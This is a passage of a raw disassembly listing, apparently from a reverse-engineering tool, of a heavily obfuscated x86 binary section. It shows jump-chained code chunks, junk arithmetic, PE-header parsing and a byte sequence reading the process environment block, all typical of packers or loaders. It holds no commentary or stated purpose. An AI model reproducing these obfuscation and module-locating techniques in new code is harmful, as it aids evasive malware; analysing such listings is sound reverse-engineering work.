--------------------------------------------------------------------------- jns loc_4298A5 add eax, 7D0h mov [ebp-8], eax push edx push 8F115938h call sub_42B31F jmp loc_427A5F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_145. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429E55: ; CODE XREF: sub_426535+588Cj jmp loc_429F3E ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- loc_429E5A: ; CODE XREF: wto1jq8f:0042DAC0j pushf ; =============== S U B R O U T I N E ======================================= sub_429E5B proc near ; CODE XREF: wto1jq8f:0042D312p ; FUNCTION CHUNK AT 00424F18 SIZE 00000006 BYTES mov [esp+0], edi pop edi call sub_424BF9 push 0 jmp loc_424F18 sub_429E5B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429B6D loc_429E6B: ; CODE XREF: sub_429B6D+16BCj jnz nullsub_18 loc_429E71: ; CODE XREF: sub_429B6D+16AFj call sub_429E77 ; END OF FUNCTION CHUNK FOR sub_429B6D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_429E77 proc near ; CODE XREF: sub_429B6D:loc_429E71p push ebx push ecx call sub_425E35 call sub_42F9AC sub_429E77 endp ; --------------------------------------------------------------------------- loc_429E83: ; CODE XREF: wto1jq8f:0042640Bj jmp loc_42451D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_429E88: ; CODE XREF: sub_426D4F:loc_42B00Dj ; sub_4244EA+96B7j and eax, 72159C37h test eax, 8 jmp loc_424F1E ; END OF FUNCTION CHUNK FOR sub_4244EA ; =============== S U B R O U T I N E ======================================= sub_429E99 proc near ; CODE XREF: wto1jq8f:004244BBj ; wto1jq8f:0042A540p arg_0 = dword ptr 4 mov [esp+0], ebx pop ebx add eax, 0E7ADAC07h xchg eax, [esp-4+arg_0] jmp sub_429165 sub_429E99 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429C18 loc_429EAB: ; CODE XREF: sub_429C18+2661j jle loc_427792 loc_429EB1: ; CODE XREF: sub_429C18:loc_42D160j push ecx push 7DC3EF74h pop ecx and ecx, 8A22BCD0h add ecx, 0F84044BEh xchg ecx, [esp+4+var_4] jmp sub_42ED32 ; END OF FUNCTION CHUNK FOR sub_429C18 ; --------------------------------------------------------------------------- or ebx, 42D5CBADh add ebx, 0BBFBB579h popf sbb eax, ebx call sub_42E597 ; START OF FUNCTION CHUNK FOR sub_426535 loc_429EE0: ; CODE XREF: sub_426535+7EC3j jmp loc_427D9C ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_429EE5: ; CODE XREF: sub_429281+18BFj ; sub_426842:loc_42C71Dj jmp near ptr loc_42FF2A+5 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- loc_429EEA: ; CODE XREF: wto1jq8f:0042B0A9j cdq adc ebx, ecx jnp loc_427989 and ecx, edi jmp loc_42D068 ; --------------------------------------------------------------------------- push edi push 0AE65A7F4h mov edi, offset loc_42BC02 call sub_428755 ; START OF FUNCTION CHUNK FOR sub_425F4F loc_429F0A: ; CODE XREF: sub_425F4F+2F53j or edi, 606EE699h xchg edx, [eax] shr edx, 1 pop ecx jmp loc_42AE44 ; END OF FUNCTION CHUNK FOR sub_425F4F ; --------------------------------------------------------------------------- loc_429F1A: ; DATA XREF: sub_424635+6o push 0FFFFFFFFh push 0 call sub_42A7E2 loc_429F23: ; CODE XREF: wto1jq8f:loc_424E6Ej xor [esp], eax push eax jmp loc_429653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_429F2C: ; CODE XREF: sub_42A909+3AAj call near ptr sub_42CB36 test al, al jz loc_4275A3 jmp loc_42B297 ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429F3E: ; CODE XREF: sub_426535:loc_429E55j jz loc_42D26A jmp loc_424CBF ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_429F49: ; CODE XREF: sub_427D82:loc_42CDCAj sub esi, 2D5CCC75h loc_429F4F: ; CODE XREF: wto1jq8f:0042AF5Dj and ecx, 435DF6D4h pop edi jno locret_4272E8 jmp loc_4246F7 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- sub edi, 466D7B1Dh add ecx, ebx jmp sub_427488 ; --------------------------------------------------------------------------- test ecx, eax ; START OF FUNCTION CHUNK FOR sub_4269FD loc_429F70: ; CODE XREF: sub_4269FD:loc_42E6C4j jmp loc_42422C ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_429F75: ; CODE XREF: sub_4267AE+8594j shl ebx, 0Ch jmp loc_42723A ; END OF FUNCTION CHUNK FOR sub_4267AE ; =============== S U B R O U T I N E ======================================= sub_429F7D proc near ; CODE XREF: wto1jq8f:00429594j ; wto1jq8f:loc_42C8E8p mov [esp+0], ebx pop ebx add eax, 460BE072h add eax, ebp call near ptr sub_42A3DA sub_429F7D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_4269FD loc_429F8E: ; CODE XREF: sub_4269FD+3D20j cmp esi, ecx jmp loc_42E6C4 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426350 loc_429F95: ; CODE XREF: sub_426350+9j cmp dword ptr [ebp-4], 0 jz loc_4278D6 mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax jmp loc_427C8D ; END OF FUNCTION CHUNK FOR sub_426350 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429FB6: ; CODE XREF: wto1jq8f:0042A438j jmp loc_42DDB1 ; --------------------------------------------------------------------------- loc_429FBB: ; CODE XREF: wto1jq8f:00428CDFj xor [esi], ebx add [esi], ecx xor [esi], edx mov eax, 80000004h jmp loc_42EB99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_429FCB: ; CODE XREF: sub_426535+7D9Aj call sub_42BB58 push 411BC082h pop eax and eax, 64C560F2h rol eax, 1Ch jnb loc_42F30E xor ecx, ecx xor edx, edx call sub_426E65 add ebp, 0D7C1AC11h jmp sub_42FE77 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E676 loc_429FF9: ; CODE XREF: sub_42E676:loc_428EC2j add ecx, 0D220989Dh xchg ecx, [esp+0] jmp loc_425EC2 ; END OF FUNCTION CHUNK FOR sub_42E676 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B35E loc_42A007: ; CODE XREF: sub_42B35E:loc_425D11j add edx, 0E64FE804h mov dword ptr [edx], 2000h jmp loc_42F17A ; END OF FUNCTION CHUNK FOR sub_42B35E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED01 loc_42A018: ; CODE XREF: sub_42ED01j mov eax, offset dword_42CAF8 loc_42A01D: ; CODE XREF: wto1jq8f:004270E8j call sub_42E4DB ; END OF FUNCTION CHUNK FOR sub_42ED01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42A022: ; CODE XREF: sub_4267AE+81EAj jmp loc_425C7D ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4285AF loc_42A027: ; CODE XREF: sub_4285AF+Ej jmp nullsub_155 ; END OF FUNCTION CHUNK FOR sub_4285AF ; --------------------------------------------------------------------------- push eax rol eax, 7 mov dword ptr ds:loc_42F08D+7, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_42A037: ; CODE XREF: sub_429471+38BDj jmp loc_4288F7 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428845 loc_42A03C: ; CODE XREF: sub_428845+2j jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_428845 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_42A041: ; CODE XREF: sub_424D58-2E8j ror eax, 7 jmp loc_42C585 ; END OF FUNCTION CHUNK FOR sub_424D58 ; --------------------------------------------------------------------------- push eax jmp loc_426A97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429459 loc_42A04F: ; CODE XREF: sub_429459:loc_425EB4j call sub_424585 mov edx, 20413B0Fh call sub_429165 push eax jmp loc_42F35B ; END OF FUNCTION CHUNK FOR sub_429459 ; --------------------------------------------------------------------------- loc_42A064: ; CODE XREF: wto1jq8f:loc_42944Fj add ebx, 514CD4AAh xchg ebx, [esp] jmp loc_42C53D ; --------------------------------------------------------------------------- loc_42A072: ; CODE XREF: wto1jq8f:00427F8Aj jnz loc_42BDD4 jmp loc_427086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_42A07D: ; CODE XREF: sub_424585:loc_42784Cj call sub_42E5B2 cmp ds:dword_42DAE4, 0 jnz loc_427B25 lea edx, [ebp+var_14] jmp loc_42BD27 ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- loc_42A097: ; CODE XREF: wto1jq8f:0042737Ej push edi mov edi, eax xchg edi, [esp] call near ptr sub_42DC5C loc_42A0A2: ; CODE XREF: wto1jq8f:0042E668j jmp loc_42C550 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428DBE loc_42A0A7: ; CODE XREF: sub_428DBE+1Aj jmp loc_42BB33 ; END OF FUNCTION CHUNK FOR sub_428DBE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42A0AC: ; CODE XREF: sub_4267AE+2313j jmp loc_424086 ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- jmp loc_42AF44 ; --------------------------------------------------------------------------- mov dword ptr [ebp-8], 1 loc_42A0BD: ; CODE XREF: wto1jq8f:0042E28Fj mov eax, [ebp-8] mov esp, ebp pop ebp jmp loc_42C163 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4267AE loc_42A0C8: ; CODE XREF: sub_4267AE-2618j jnz loc_427B9B jmp loc_42907C ; END OF FUNCTION CHUNK FOR sub_4267AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_42A0D3: ; CODE XREF: sub_427D00+61C0j pop ecx xor ecx, 0A5B3DE40h test ecx, 100h jmp loc_42906C ; END OF FUNCTION CHUNK FOR sub_427D00 ; =============== S U B R O U T I N E ======================================= sub_42A0E5 proc far ; CODE XREF: wto1jq8f:0042B1A5p ; wto1jq8f:0042E26Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424DF7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424E52 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426527 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042CAFC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D0D8 SIZE 0000001A BYTES mov [esp+0], edx pop edx push ebx push 7EBA071Dh pop ebx or ebx, 6D1DFD03h jmp loc_424E52 sub_42A0E5 endp ; --------------------------------------------------------------------------- loc_42A0FB: ; CODE XREF: wto1jq8f:004267CEj pop eax retn ; --------------------------------------------------------------------------- loc_42A0FD: ; CODE XREF: wto1jq8f:0042EABBj jmp loc_42BCB3 ; --------------------------------------------------------------------------- loc_42A102: ; CODE XREF: wto1jq8f:0042CFCCj ; wto1jq8f:0042D1DBj mov eax, [ebp-4] push offset loc_42CB2E jmp loc_424785 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42A10F: ; CODE XREF: sub_42DC5C+1BEj jl loc_4277A6 mov [eax], edx loc_42A117: ; CODE XREF: wto1jq8f:loc_425C02j push 0A3CD4961h mov ecx, offset sub_42727F call sub_427277 jmp nullsub_126 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428333 loc_42A12B: ; CODE XREF: sub_428333+12j jmp loc_42AA44 ; END OF FUNCTION CHUNK FOR sub_428333 ; --------------------------------------------------------------------------- loc_42A130: ; CODE XREF: wto1jq8f:0042D330j mov eax, ds:dword_42F0B4 or eax, eax jnz loc_429857 call sub_427A8D mov edx, 0E996F72Eh jmp loc_42BEA8 ; =============== S U B R O U T I N E ======================================= sub_42A14D proc near ; CODE XREF: wto1jq8f:00428EE4j ; wto1jq8f:0042DF92p xchg ecx, [esp+0] pop ecx jmp near ptr dword_424C74+14h sub_42A14D endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_429091 ; --------------------------------------------------------------------------- db 64h ; d db 8Bh ; ‹ db 5 db 30h ; 0 db 0 db 0 db 0 db 0E9h ; é db 1Eh db 0C8h ; È db 0FFh db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A167: ; CODE XREF: sub_426535-232Fj push edi sub ebp, 2532266Ch mov ebp, 56C79A79h ja sub_428B3E loc_42A179: ; CODE XREF: sub_426535:loc_429E0Dj push 3BE24861h pop eax add eax, 0F1E9B219h add eax, ebp jmp near ptr loc_42F558+1 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_42A18C: ; CODE XREF: sub_4284EC:loc_4287E6j jz loc_426002 jmp loc_42FF18 ; END OF FUNCTION CHUNK FOR sub_4284EC ; =============== S U B R O U T I N E ======================================= sub_42A197 proc near ; CODE XREF: wto1jq8f:0042436Bp ; sub_42C4E2+47Dj ; FUNCTION CHUNK AT 00424AAA SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00426956 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00426E93 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004288CD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042AA89 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042DE54 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042EFBE SIZE 00000003 BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-8] mov al, [eax] add [ebp-0Ah], al xor eax, eax jmp loc_424AAA sub_42A197 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6B1 loc_42A1AA: ; CODE XREF: sub_42C6B1j push 0B968FEB0h mov [esp+4+var_4], ebp push offset loc_424A44 jmp nullsub_111 ; END OF FUNCTION CHUNK FOR sub_42C6B1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A1BD: ; CODE XREF: wto1jq8f:0042933Dj jmp loc_4282B5 ; --------------------------------------------------------------------------- loc_42A1C2: ; CODE XREF: wto1jq8f:004276BBj jmp loc_42CBAB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_42A1C7: ; CODE XREF: sub_429165-4252j jmp loc_42DBD7 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D2BB loc_42A1CC: ; CODE XREF: sub_42D2BB+10j pop edx rol esi, 1Fh push offset loc_42BF49 jmp locret_42AA67 ; END OF FUNCTION CHUNK FOR sub_42D2BB ; --------------------------------------------------------------------------- loc_42A1DA: ; CODE XREF: wto1jq8f:loc_424854j adc edx, 5A3C8CF3h ror ebx, 15h jmp loc_42E454 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_42F924 ; --------------------------------------------------------------------------- jnz loc_42FA34 jmp loc_42A67A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BB58 loc_42A1F9: ; CODE XREF: sub_42BB58+18j popf xchg ecx, [esp+0] jmp loc_4274B3 ; END OF FUNCTION CHUNK FOR sub_42BB58 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42A202 proc near ; CODE XREF: sub_42E7D7+3p mov [esp+0], ecx push 0FFFFFFF1h call near ptr sub_4284EC push eax call sub_42E64B sub_42A202 endp ; --------------------------------------------------------------------------- mov edx, [ebp+8] mov eax, [edx] jmp loc_42D012 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_42A21C: ; CODE XREF: sub_4269FD:loc_42A717j ; sub_4269FD+7CD3j push ecx push 9BA3F5E8h pop ecx sub ecx, 0F3F62D2Dh add ecx, 58949A63h xchg ecx, [esp+0] jmp loc_42A808 ; END OF FUNCTION CHUNK FOR sub_4269FD ; =============== S U B R O U T I N E ======================================= sub_42A237 proc near ; DATA XREF: sub_424F31+9DBBo ; FUNCTION CHUNK AT 0042E4C5 SIZE 00000005 BYTES xchg ebx, [esp+0] jmp loc_42E4C5 sub_42A237 endp ; --------------------------------------------------------------------------- push 291FB3E1h loc_42A244: ; CODE XREF: wto1jq8f:0042C7D7j pop edx xor edx, 58121788h push eax push offset sub_42C595 jmp loc_4271CD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42A257: ; CODE XREF: wto1jq8f:0042E048j xor ebp, 61F1D681h sbb esi, 49AAA160h pop esi push offset loc_428FFC jmp loc_42A36E ; --------------------------------------------------------------------------- loc_42A26E: ; CODE XREF: wto1jq8f:0042E5ADj jnz loc_42ECFB jmp loc_42AEBE ; --------------------------------------------------------------------------- lea eax, loc_4272DE push offset loc_42B790 jmp loc_429303 ; =============== S U B R O U T I N E ======================================= sub_42A289 proc near ; CODE XREF: wto1jq8f:0042988Dp mov [esp+0], ecx pop ecx push eax rol eax, 6 mov ds:dword_429074, eax retn sub_42A289 endp ; --------------------------------------------------------------------------- loc_42A298: ; CODE XREF: wto1jq8f:00428953j ror eax, 6 jmp loc_4295A1 ; --------------------------------------------------------------------------- jl loc_42E2DC cdq jmp loc_42E2DC ; --------------------------------------------------------------------------- locret_42A2AC: ; CODE XREF: wto1jq8f:loc_42612Ej retn ; --------------------------------------------------------------------------- loc_42A2AD: ; DATA XREF: sub_42C2D2+13o mov eax, [ebp-4] mov [ebp-8], eax jmp loc_42BEA3 ; =============== S U B R O U T I N E ======================================= sub_42A2B8 proc near ; CODE XREF: sub_42EA31+6j arg_0 = byte ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 0042667D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042724C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427538 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427F29 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042822F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00428454 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042A2F0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042A803 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CB7A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D58D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042DAD0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E49D SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0042EFF5 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0042F06D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042F09D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042F0CD SIZE 00000008 BYTES add esp, 0FFFFFFF4h mov [ebp-8], edx mov [ebp-4], eax jmp loc_42E49D sub_42A2B8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jnz loc_42ADA7 jmp loc_427981 ; --------------------------------------------------------------------------- push 0BBA7CACEh pop eax or eax, ds:4000F7h add eax, 26F8BDD7h add eax, ebp jmp loc_42A773 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_42A2EB: ; CODE XREF: sub_426535+4314j jmp loc_426C94 ; END OF FUNCTION CHUNK FOR sub_426535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A2B8 loc_42A2F0: ; CODE XREF: sub_42A2B8-1E59j jz loc_428230 cdq rol edx, 0Bh and eax, 874D6BB6h or ebx, ebp jmp loc_42822F ; END OF FUNCTION CHUNK FOR sub_42A2B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B276 loc_42A307: ; CODE XREF: sub_42B276+6BEj shl edi, 17h jmp loc_427C6B ; END OF FUNCTION CHUNK FOR sub_42B276 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A30F proc near ; DATA XREF: sub_4295AA+5o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004248AD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042808C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C129 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042DE49 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FD8C SIZE 00000011 BYTES mov [esp+0], ebp mov ebp, esp push 2912348Ch mov [esp+4+var_4], ecx mov esp, ebp pop ebp mov eax, ds:dword_429078 or eax, eax jmp loc_42DE49 sub_42A30F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42A32C: ; CODE XREF: wto1jq8f:0042450Aj sbb ebp, 765B18E2h jmp loc_42C3CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_42A337: ; CODE XREF: wto1jq8f:00424247j ; sub_42CB36+160Ej sub eax, 61A1AFD5h add eax, 2C4FB57h xchg eax, [esp+0] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- loc_42A34B: ; CODE XREF: wto1jq8f:0042642Cj xchg esi, ecx loc_42A34D: ; CODE XREF: wto1jq8f:loc_4277E9j push eax push 743B4053h pop eax sub eax, 0FFE82299h jmp loc_42643C ; =============== S U B R O U T I N E ======================================= sub_42A35F proc near ; CODE XREF: sub_42BE51+3p ; wto1jq8f:0042E5E7j mov [esp+0], esi pop esi mov [ebp-8], edx mov [ebp-4], eax call sub_426350 loc_42A36E: ; CODE XREF: wto1jq8f:0042A269j jmp nullsub_14 sub_42A35F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EDB9 loc_42A373: ; CODE XREF: sub_42EDB9-59CEj jl loc_4282DB and ebp, esi jg loc_425E50 jmp loc_4282D6 ; END OF FUNCTION CHUNK FOR sub_42EDB9 ; --------------------------------------------------------------------------- loc_42A386: ; DATA XREF: wto1jq8f:00427D72o jnz loc_42A585 mov eax, [ebp+8] or dword ptr [eax-8], 8 jmp loc_42A585 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C4E2 loc_42A398: ; CODE XREF: sub_42C4E2j sub_42C4E2+Dj jns loc_429423 cmp dword ptr [ebp-10h], 0 jnz loc_428564 mov eax, [ebp+8] push eax jmp loc_426451 ; END OF FUNCTION CHUNK FOR sub_42C4E2 ; --------------------------------------------------------------------------- loc_42A3B1: ; CODE XREF: wto1jq8f:loc_42E691j jz loc_42B0F4 jmp loc_426D99 ; =============== S U B R O U T I N E ======================================= sub_42A3BC proc near ; CODE XREF: sub_42A56D:loc_42A573p ; FUNCTION CHUNK AT 0042484A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CF30 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042F973 SIZE 00000008 BYTES mov [esp+0], edx pop edx ror edx, 18h shl eax, 4 push 6C83AAD3h jmp loc_42CF30 sub_42A3BC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_42A3D0: ; CODE XREF: sub_424585:loc_42BD27j push offset loc_42C9B5 jmp nullsub_22 ; END OF FUNCTION CHUNK FOR sub_424585 ; =============== S U B R O U T I N E ======================================= sub_42A3DA proc far ; CODE XREF: wto1jq8f:00424F4Cj ; sub_429F7D+Cp ; FUNCTION CHUNK AT 00424A8B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004281F5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428C6C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CD1E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042FB94 SIZE 0000002D BYTES xchg esi, [esp+0] pop esi add eax, 0CA415FDCh mov eax, [eax] jmp loc_428C6C sub_42A3DA endp ; sp-analysis failed ; --------------------------------------------------------------------------- add esp, 0FFFFFFF4h mov [ebp-8], eax call sub_427450 push ecx jmp loc_42DC80 ; --------------------------------------------------------------------------- add ecx, 0AE6C61DAh sbb edx, ecx jmp sub_428AC6 ; --------------------------------------------------------------------------- db 68h ; h db 0E6h ; æ db 0EFh ; ï db 0AEh ; ® db 0CBh ; Ë db 5Ah ; Z db 81h ; db 0C2h ; Â db 1Ch db 10h db 51h ; Q db 34h ; 4 db 3 db 0C2h ; Â db 5Ah ; Z db 8Bh ; ‹ db 0 db 0E9h ; é db 0Fh db 0Eh db 0 db 0 ; --------------------------------------------------------------------------- locret_42A41F: ; CODE XREF: wto1jq8f:loc_426936j retn ; --------------------------------------------------------------------------- loc_42A420: ; CODE XREF: wto1jq8f:0042CD19j jmp near ptr loc_42F3E4+3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CBD1 loc_42A425: ; CODE XREF: sub_42CBD1-4C62j xor ebp, eax cmp esi, 2B060396h jmp loc_42B24D ; END OF FUNCTION CHUNK FOR sub_42CBD1 ; --------------------------------------------------------------------------- loc_42A432: ; CODE XREF: wto1jq8f:loc_4272EEj jz loc_429DBB jmp loc_429FB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263A6 loc_42A43D: ; CODE XREF: sub_4263A6+8j push 0AABDB9A1h loc_42A442: ; CODE XREF: wto1jq8f:0042488Ej call near ptr sub_42CB36 push offset loc_42D2D0 jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_4263A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E785 loc_42A451: ; CODE XREF: sub_42E785:loc_42E791j xchg edx, [esp+0] jmp sub_427A8D ; END OF FUNCTION CHUNK FOR sub_42E785 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AECE loc_42A459: ; CODE XREF: sub_42AECE+37A3j mov ebp, esp push ecx mov esp, ebp mov ebp, offset sub_42A467 xchg ebp, [esp+0] locret_42A466: ; CODE XREF: wto1jq8f:0042A6BAj retn ; END OF FUNCTION CHUNK FOR sub_42AECE ; =============== S U B R O U T I N E ======================================= sub_42A467 proc near ; DATA XREF: sub_42AECE-A70o ; FUNCTION CHUNK AT 004247A0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00424B42 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425A6C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426E30 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00427328 SIZE 0000000D BYTES mov eax, ds:dword_42E524 jmp loc_427328 sub_42A467 endp ; --------------------------------------------------------------------------- sbb esi, eax loc_42A474: ; CODE XREF: wto1jq8f:004292F0j jmp sub_42D434 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42A479: ; CODE XREF: sub_42DC5C-ACAj jl loc_4278A0 push 0 call sub_42825A ; END OF FUNCTION CHUNK FOR sub_42DC5C ; START OF FUNCTION CHUNK FOR sub_428DDD loc_42A486: ; CODE XREF: sub_428DDD+15j jmp loc_4241CD ; END OF FUNCTION CHUNK FOR sub_428DDD ; --------------------------------------------------------------------------- loc_42A48B: ; CODE XREF: wto1jq8f:00425C97j ; wto1jq8f:loc_427C51j jp loc_426D35 ; =============== S U B R O U T I N E ======================================= sub_42A491 proc near ; CODE XREF: sub_4283CC+23B9p xchg edx, [esp+0] pop edx lea eax, [ebp-0Ch] push eax call near ptr sub_428DDD pop ebp retn sub_42A491 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42A4A0: ; CODE XREF: wto1jq8f:0042C1E9j jmp loc_4298E1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A4A5 proc near ; CODE XREF: sub_42481C+8p push ebp mov ebp, esp push ecx mov esp, ebp pop ebp call sub_425F4F loc_42A4B1: ; CODE XREF: wto1jq8f:00426C2Dj mov ds:dword_429584, eax locret_42A4B7: ; CODE XREF: sub_42D86F:loc_42449Fj retn sub_42A4A5 endp ; --------------------------------------------------------------------------- loc_42A4B8: ; CODE XREF: wto1jq8f:00429830j jmp loc_42D172 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D120 loc_42A4BD: ; CODE XREF: sub_429471+8j ; 